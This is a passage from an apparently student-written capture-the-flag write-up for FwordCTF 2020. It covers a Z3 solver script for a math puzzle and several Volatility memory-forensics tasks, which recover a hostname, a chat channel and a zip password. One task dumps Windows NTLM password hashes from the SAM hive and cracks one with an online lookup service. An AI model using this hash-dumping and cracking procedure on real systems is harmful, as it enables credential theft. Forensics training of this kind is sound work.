I tried to solve this issue as a system of 4 equations using substitution but I failed since I found 2 unknown elements instead of 1. But hopefully my friend Likkrid gave me a better solution which is solving this system using subtraction and it was successful to identify the 4 element's values.
Now, coming to the implementation of this solution, also my friend Likkrid recommended me the usage of Z3Py Python's library to solve the system of 1337 equations after retrieving the 1337 sums from ``a0 + a1 = x1`` until ``a1336 + a0 = x1337``.
The python script is available here for download: [solver.py](resources/misc-283-secret_array/solver.py).
```python#!/usr/bin/python
from pwn import *import z3import time
r = remote('secretarray.fword.wtf', 1337)s=z3.Solver()print r.recv(1024).decode()for i in range(0,1337): print i if i<1336: #print "send",str(i)+" "+str(i+1) r.send(str(i)+" "+str(i+1)+"\n") time.sleep(0.3) result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") exec("a"+str(i+1)+" = z3.Int('a"+str(i+1)+"')") #print "a"+str(i)+"+a"+str(i+1)+"=="+(result if result else "0") s.add(eval("a"+str(i))+eval("a"+str(i+1))==(result if result else "0")) else: #print "send",str(i)+" 0" r.send(str(i)+" 0\n") result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") #print "a"+str(i)+"+a0=="+(result if result else "0") s.add(eval("a"+str(i))+a0==(result if result else "0"))
s.check()#print smodel=s.model()results="DONE"#print "model",s.model()for i in range(0,1337): for j in model: if str(j)=="a"+str(i): #print "a"+str(i),str(int(s.model()[j].as_string())) results=results+" "+str(int(s.model()[j].as_string())) break
print results.strip()print "length of the solved system:",len(model)print "length of the array's results:",(len(results.strip().split(" "))-1)r.sendline(results.strip())time.sleep(1)print r.recv(1024)time.sleep(1)print r.recv(1024)```
There was only one trick that took too much time for me since I was used to work with the socket module, when I switched to use the pwn library I though that I don't need to make a time.sleep() for some milliseconds between the send and the receive methods but I was wrong because I executed the script from my VPS and the execution was fast and then if I don't wait for few milliseconds, the response will be empty which is wrong because the sum of two values can't be empty.
Execution:
```pip install z3python resources/misc-283-secret_array/solver.py```
Output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:
DONE 882074565321339936426015270379 237041015714489603612749676508 735942283250970902894619135353 769570036365545998247560462307 358093366869922753604064191300 846812717969782586805050398135 771379174273997375923375988136 845526135789468431659086245474 477791916351688485715808163421 930800022720554491827637381853 999680091758310368643053583247 185945425567046216916616774069 548193655183144633560074943563 163752110560858844552559735982 809842278452854024213944401092 63126344576603515440990266173 536350367473602539710322449253 525462551993088197896204616527 26019307559619217233165889413 678246541222209847683426708404 167054566499878283767854112298 916863491983612669627714467522 866512119618168022431575287281 770282663120238719909449412558 17698011785127051934722174676 506436276178844828479355460241 364507445837389480829388693850 478243457358118782184551240191 362975449994850307878734077277 79416040862228597622670674493 699077959961321297097958555541 130680171721974811938831602523 722515733623057407531977068408 107110915537337340060758847050 871110456327373561058599133909 611700338371288519255305243723 112673304125406355771774003309 762357586707245483109415383542 473037716896162891865834111648 740988990443440669824613608664 132974380384295544030922942914 346655317633097728910436731104 614175703481719543947471337448 940327256050181059304565050028 92945322674000115891190969652 756956538466667341515036830304 977968684457121762228769933357 598942068709425688550258832779 324906743907409720909632527601 909377161189362510289040596381 593442764175779833425616880670 561516492415921938020525334341 299753763953982600112038009288 197202020200224694235915672845 37794227392414548309250547977 281027881570422623221283625822 799204368907457904727116559248 715428685855001604030787325645 309449422141621428318215223454 779861727503038071427138491191 230630241891245494630102199976 9049080132892488645574763422 786762453386287856472273846665 137406037157133043239611688883 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822375043495619761944861519972 663938619063978495874534834345 40184497331922613496528896982 96651341380806265055474742874 569211944761523188530335729078 971491789720261837699473149857 254033039225053644540777318794 371156987971994144222102427298 552233116200014493678918980023 295459004571278043471775113460 950978351365370226190276337993 981972113953125635095554684819 613392171688095343155266810068 988275256454056707386297496228 919910555715929711990294816395 331680416523012150626813995335 963232569635654894073660210351 378461391306022088434725883167 316219840943194091938654131212 157512800707788303899932151960 793462598722149854189459084942 256099570333236145647875306720 238058337137510317129380168362 242947508893064843775147012487 355320875075702456560544935910 471720331065228718591151571789 856169934005128050600519143797 762370916267869447841214329775 993497962482866211028442298733 518561856792546361582760006136 934075525612376978469662883465 160688877960374040067371985843 973542555968500011203270234868 88513080626526601524818265680 833399114577064164200268563963 232543573511967780353703533171 455181386149195687299712226144 308446550861526289691728628362 99683459694801711581944899388 222369143008725108925087195114 226219048896373494184984854648 817515322505071092635037120986 899693382866294023980688240950 731109737363403999778146313080 11585470531432868034409927654 136721108925187832179663343748 218878454138049014632641644208 45104610801363569584573818024 851638154958299987223574979535 935787731071096314044356630936 199344643203186247839062040378 350298114459809030350407362547 651368717836769007386669135246 13028300112227873068369382521 649389926758277386390477590247 716694316274712481603063809528 767497805573565697452081904246 859594127311603453471419870328 276718585843138550045242482694 270621350223690805039458346945 882851846997715676030915445671 147005932316573640625222262011 962516221675048249633600651629 142999206798927755202714417658 338200118833517293913753254916 353098332975450794695193115 639478587546889035706931903789 366145572990290817504253243808 236859816134096904531980956369 620301594115009808900583045657 564535132847643655642550460388 811156700605859198651865779342 108904490543477846116268259176 274369000018543911083971966870 211342207540341813623129073575 836568815727517896518486764181 884348990498573834839211617570 593425938551729097391923014648 411037282463745057638164724823 600542128338055767718737414543 619640229138641535067155175976 731138028985627775699092095137 246193990179001270376162138712 208483119190770132573196314847 60591061497789870188479749934 436255610130837936459965578659 219743496983603140147945414467 744434158934620122833172608058 297791851944965194060885237858 848171872645101850536943202147 691230917428178059150656826222 331920949616804993977431744890 188990626823473771669970835999 853999549222615574184160676988 426581830899883056330939694164 545850379624256644845417041609 206898714949998847882049316749 600922036266170588860811406626 445002578839372149073202934779 755505079281341703455242086034 554606046321292646018328308518 491410644121221167022973999466 886696421014164059657453156938 576684874184284920761216930687 28114959744965733022489049473 659371544578249015018260378126 686436413399263391028400347672 771582766634625860183378734250 43329803301088231785420738668 789390880428603995835220996975 95843761289134737380026726699 607657307608983959987793684791 763121036629216863027308575507 695752976863908234000425941210 183999126076091342937557825072 186793675528356887821897344540 631935025165038205571818923602 383364014052929057642436213844 621462173523727407826051431420 700856283608651796441558150148 679621261248938156795682471846 600889020839385789386043404419 703498046477358151065837099150 314309051704298644258317809945 967436130406043633721122296572 676212954323956018309058930527 4547530505855250748483917847 100983845147693432085059458528 339251519149008894109778821343 934807106956215360626560110582 594674598731630275002896465473 770757954082647400726968112798 830319874196252178510311404372 377307643453627105959902092172 206638680410448733374377548806 543720335249845648279763661454 575989636871937725494011151161 993996327375586192236148860884 577478486887548168530074351040 114525249759655970691246808929 212383832894687559057036388929 527304494711982532132925552980 575980820709482598803802344541 534140669749849341436494824420 498999534125566963963524431887 660323975112393443004221199345 136629325692913249617390911371 856225685842457891207581210261 382236217025931865524266457446 916981812634971935362102424803 650983817935982166075501250565 520076012018861617944862841325 568070785815492613119797767124 929426002688656730578655495848 388641364576174208975578118486 754288805782329904072629271858 7539529998150599043771503290 515315771436238056833360898841 635826131846738367904626878837 129977530055197841755264624480 770035583613709893150835726905 95291150541467317217156613056 896815536680583446585133872931 688305357073982731630616328867 820844341017741039208950587295 104243593710255300826694436541 770267178982348671718915014437 524817130634272459917249808264 881596592942006529423155080660 460809554977471557874987038531 552203073934971154805289618652 285558583844299518782868746962 771687664263005438473545038546 309699046605439403872809056495 87421934777919000650262780503 460648873139398989670353918314 303755726335676951211719118271 642134713029850585247460120104 994587367824415577394910764431 610301661262474430002645397045 581907927596193338287675038489 263071432306564437305700089331 1323602499525101762283093077 238040809388633067114571632443 750262249497683926277729712036length of the solved system: 1337length of the array's results: 1337
Congratualtions! You guessed my secret array, here is your flag: FwordCTF{it_s_all_about_the_math}```
So, the flag is ```FwordCTF{it_s_all_about_the_math}```___
## Memory
**Category:** Forensics**Points:** 73**Author:** SemahBA & KOOLI**Description:**
> Flag is : FwordCTF{computername_user_password}
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
In this task, we have a memory dump that we need to analyze in order to get the flag according to what the author needs.
Before starting this task, we have to extract the memory dump from the compressed file using `7z e foren.7z` and we will work on the extracted file `foren.raw`.
The first thing that we need to do when analyzing an unknown memory dump is to identify its profile.
```volatility -f foren.raw imageinfo```
Output:
```Volatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/root/fword/foren.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c48120L Number of Processors : 4 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4a000L KPCR for CPU 1 : 0xfffff88002f00000L KPCR for CPU 2 : 0xfffff88002f7d000L KPCR for CPU 3 : 0xfffff880009af000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-08-26 09:22:27 UTC+0000 Image local date and time : 2020-08-26 02:22:27 -0700```
There was multiple suggested profiles but I picked one of them which is `Win7SP0x64`.
Personally, I followed this tutorial for the first part of this task to identify the hostname just to avoid taking the full credits for solving this task: [Volatility/Retrieve-hostname](https://www.aldeid.com/wiki/Volatility/Retrieve-hostname).
By following the previous tutorial, we need to list the hives of that memory dump in order to use the right offset to extract the hostname.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
As we can see the `\REGISTRY\MACHINE\SYSTEM` is located on `0xfffff8a000024010`.
We will use the Virtual address offset as a reference to extract the registry key value that contains the machine hostname.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \REGISTRY\MACHINE\SYSTEMKey name: ComputerName (S)Last updated: 2020-08-25 16:20:54 UTC+0000
Subkeys:
Values:REG_SZ : (S) mnmsrvcREG_SZ ComputerName : (S) FORENWARMUP```
So, the hostname is `FORENWARMUP`.
But we still have 2 other parts to extract which are the username and his password.
And also for the next steps, I followed the following tutorial to do this: [Volatility/Retrieve-password](https://www.aldeid.com/wiki/Volatility/Retrieve-password)
And the missing step was obvious because the user's hashes are stored in the `\SystemRoot\System32\Config\SAM` file.
```volatility -f foren.raw --profile=Win7SP0x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a0014da410```
Output:
```Volatility Foundation Volatility Framework 2.6Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::fwordCTF:1000:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:514fab8ac8174851bfc79d9a205a939f:::SBA_AK:1004:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::```
And that's how we get the usernames and their password's NTLM hash that need to be cracked.
The first time, I though the user that we are searching for is `fwordCTF`. So, I cracked his password using [https://crackstation.net/](https://crackstation.net/).
Input: `a9fdfa038c4b75ebc76dc855dd74f0da`
So, the password is `password123`.
But since the flag ``FwordCTF{FORENWARMUP_fwordCTF_password123}`` doesn't work, I double remembered that in the output of ``volatility -f foren.raw --profile=Win7SP0x64 hivelist``, there was the only available user that is located under `\??\C:\Users\` is `SBA_AK` which could be the real user that we are looking for because SBA and AK are the acronyms of the 2 authors of this task. And since both the users `fwordCTF` and `SBA_AK` have the same NTLM hash, I tried the following flag and it worked.
So, the flag is ```FwordCTF{FORENWARMUP_SBA_AK_password123}```___
## Memory 2
**Category:** Forensics**Points:** 379**Author:** Semah BA & KOOLI**Description:**
> I had a secret conversation with my friend on internet. On which channel were we chatting?
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the channel where the author had a secret chat conversation with his friend.
This reminded me to inspect the processes list and to check which process seems to be used for chatting (obviously a web browser) and then to retrieve the channel from there.
I found a useful tutorial for few commands that I needed to list the captured processes: [First steps to volatile memory analysis](https://medium.com/@zemelusa/first-steps-to-volatile-memory-analysis-dcbd4d2d56a1).
I tried the following command.
```volatility -f foren.raw --profile=Win7SP0x64 pstree```
Output:
```Volatility Foundation Volatility Framework 2.6Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa801af105c0:explorer.exe 1000 1332 31 896 2020-08-26 09:11:21 UTC+0000. 0xfffffa801b024780:WzPreloader.ex 2264 1000 6 123 2020-08-26 09:11:21 UTC+0000. 0xfffffa801adeaa40:mspaint.exe 1044 1000 7 133 2020-08-26 09:20:28 UTC+0000. 0xfffffa801aca4060:chrome.exe 3700 1000 33 986 2020-08-26 09:12:48 UTC+0000.. 0xfffffa801af86b00:chrome.exe 2560 3700 13 337 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019ac0640:chrome.exe 3992 3700 14 216 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8018e55b00:chrome.exe 3304 3700 8 231 2020-08-26 09:12:50 UTC+0000.. 0xfffffa8019b5b5f0:chrome.exe 540 3700 13 171 2020-08-26 09:13:21 UTC+0000.. 0xfffffa801ab9c750:chrome.exe 3752 3700 8 93 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019b60060:chrome.exe 3816 3700 13 195 2020-08-26 09:13:22 UTC+0000.. 0xfffffa8019a5b360:chrome.exe 3528 3700 11 209 2020-08-26 09:12:55 UTC+0000.. 0xfffffa8019b2ab00:chrome.exe 616 3700 26 332 2020-08-26 09:13:21 UTC+0000.. 0xfffffa8019b6fb00:chrome.exe 2516 3700 17 294 2020-08-26 09:13:32 UTC+0000. 0xfffffa8019bf7060:DumpIt.exe 1764 1000 2 52 2020-08-26 09:22:18 UTC+0000 0xfffffa801a74db00:wininit.exe 388 348 3 84 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a74e7e0:services.exe 488 388 8 232 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801aaba450:svchost.exe 3308 488 14 339 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801abff060:svchost.exe 1240 488 18 311 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801aa64510:svchost.exe 900 488 38 1047 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019bf2060:wuauclt.exe 1876 900 3 98 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8019bc0b00:svchost.exe 3284 488 7 110 2020-08-26 09:20:28 UTC+0000.. 0xfffffa801a9e6b00:svchost.exe 680 488 8 298 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801a976b00:mscorsvw.exe 4012 488 6 93 2020-08-26 09:12:30 UTC+0000.. 0xfffffa801b3211e0:svchost.exe 2996 488 10 366 2020-08-26 09:11:29 UTC+0000.. 0xfffffa801ab61b00:svchost.exe 1336 488 10 147 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aecf5f0:taskhost.exe 2036 488 10 234 2020-08-26 09:11:20 UTC+0000.. 0xfffffa8018e10b00:spoolsv.exe 1212 488 14 299 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ab66b00:svchost.exe 1096 488 16 480 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ae2e060:sppsvc.exe 1360 488 4 151 2020-08-26 09:10:34 UTC+0000.. 0xfffffa8018e4f4f0:svchost.exe 1748 488 7 104 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801a9bb060:svchost.exe 600 488 11 367 2020-08-26 09:10:27 UTC+0000... 0xfffffa801a5f95f0:WmiPrvSE.exe 952 600 5 120 2020-08-26 09:11:30 UTC+0000.. 0xfffffa801ae824b0:mscorsvw.exe 4052 488 6 83 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801aa4a860:svchost.exe 864 488 22 574 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801b20fb00:wmpnetwk.exe 2768 488 14 494 2020-08-26 09:11:28 UTC+0000.. 0xfffffa801ac9bb00:svchost.exe 1388 488 22 340 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aa34b00:svchost.exe 808 488 26 533 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019f45870:dwm.exe 1604 808 3 80 2020-08-26 09:11:20 UTC+0000.. 0xfffffa801a9ecb00:svchost.exe 756 488 23 588 2020-08-26 09:10:27 UTC+0000... 0xfffffa801aa879b0:audiodg.exe 968 756 8 148 2020-08-26 09:10:28 UTC+0000.. 0xfffffa801aec4480:SearchIndexer. 2644 488 13 711 2020-08-26 09:11:27 UTC+0000.. 0xfffffa801aab6410:TrustedInstall 1020 488 5 147 2020-08-26 09:10:28 UTC+0000. 0xfffffa801a5f3b00:lsass.exe 496 388 10 752 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a79a550:lsm.exe 504 388 10 147 2020-08-26 09:10:27 UTC+0000 0xfffffa801a738060:csrss.exe 356 348 10 459 2020-08-26 09:10:26 UTC+0000 0xfffffa8018da8040:System 4 0 103 585 2020-08-26 09:10:17 UTC+0000. 0xfffffa8019ebdb00:smss.exe 264 4 2 32 2020-08-26 09:10:17 UTC+0000 0xfffffa801a72fa00:csrss.exe 404 380 9 384 2020-08-26 09:10:27 UTC+0000. 0xfffffa801b2ad060:conhost.exe 2592 404 2 56 2020-08-26 09:22:18 UTC+0000 0xfffffa801a763930:winlogon.exe 448 380 5 122 2020-08-26 09:10:27 UTC+0000 0xfffffa801b01d480:FAHWindow64.ex 2252 2240 2 77 2020-08-26 09:11:21 UTC+0000```
The only obvious process name that could be used for chatting is the Chrome browser (chrome.exe).
There was an interesting tutorial that is important to extract the web browser's history using Volatility plugin: [Volatility Plugin β Chrome History](https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/).
I downloaded the plugin from github.
```git clone https://github.com/superponible/volatility-plugins```
And I used it to extract the browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
Apart Facebook, Twitter, Fword platform, Youtube and the Fword's discord's public channel, there was 2 websites that could be used for a secret chat: `https://gofile.io/d/k2RkIS` (Gofile used to share files) and `https://webchat.freenode.net/` (Kiwi IRC - The web IRC client which is an IRC web client used for IRC chatting).
Personally, when I saw the Gofile website I forget to follow the IRC track and I will discuss about this in the next task `Memory 3` because that file is intended for that task and we can't solve it or validate its flag before seeing the flag of the actual task `Memory 2`. And I figured out that I needed to catch for any data related to the IRC chat that occurred in the Chrome web browser. But since I wasn't be able to find a clean method to do that, I used the `strings` command and I searched for any keyword related to IRC.
```strings foren.raw > /tmp/foen_strings.loggrep -i "freenode " /tmp/foen_strings.log```
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
For the people that know the IRC commands, `/PRIVMSG` is used to join a channel using the channel name. So, the channel name is `#FwordCTF{top_secret_channel}` (the # is mandatory in IRC channel names).
This task could be easily be solved using `strings foren.raw | grep FwordCTF`. But this is not a good idea because it's useless to solve a task using such method since it doesn't explain the real purpose of the task.
So, the flag is ```FwordCTF{top_secret_channel}```.___
## Memory 3
**Category:** Forensics**Points:** 405**Author:** Semah BA & KOOLI**Description:**
> He sent me a secret file , can you recover it ?
> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory` and the last steps of the task `Memory 2`, in this task we have to find the file that the author's friend sent to him.
We already know that a file was shared on Gofile according to the web browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
The file that we are searching for was available in this web page: [https://gofile.io/d/k2RkIS](https://gofile.io/d/k2RkIS).
That file was an compressed and encrypted .zip file
I downloaded the file (available here: [important.zip](resources/forensics-405-memory_3/important.zip))
And since in the description, the author asked to avoid brute forcing the password, I knew that he was talking about the .zip file.
Personally, since the `Memory` tasks are chained (the next task will be visible only if you solve the actual task), I was able to solve the `Memory 3` task (without seeing its description) before the `Memory 2` task and even if the flag of the `Memory 2` task was there in the output of the ``strings`` command (see the previous task), I don't know why I ignored it and I was focused on a way to extract the flag from the compressed encrypted .zip file and I figured out that the author was talking with his friend on IRC so I checked again the conversation adn I found that they shared the file's password there.
But without seeing the `Memory 3`'s description, I didn't know that brute forcing the .zip's password can't help me because I tried it and I failed. And from this moment, I asked myself why can't I try to use the `strings` command to search for the .zip's password there ? And since I know that the password will not be obvious (it will not contain the word `FwordCTF`), I tried the following commands.
```strings foren.raw > /tmp/foen_strings.loggrep -i "password " /tmp/foen_strings.log```
And I found the common results as the previous task `Memory 2`.
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
We will take only a small part:
```:[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1```
This is understandable as:
```KOOLI!c50e307f is connecting from 197.14.48.127He is talking from the channel #FwordCTF{top_secret_channel}He send the message: The password isHe also sent another message: fw0rdsecretp4ssAnd he was laughing```
So, the password is ``fw0rdsecretp4ss``.
And, when we used it to extract the files from the .zip file, we found an image that contain the flag: [flag1.png](resources/forensics-405-memory_3/flag1.png)
So, the flag is ```FwordCTF{dont_share_secrets_on_public_channels}```.___
## Memory 4
**Category:** Forensics**Points:** 492**Author:** SemahBA & KOOLI**Description:**
> Since i'm a geek, i hide my secrets in weird places
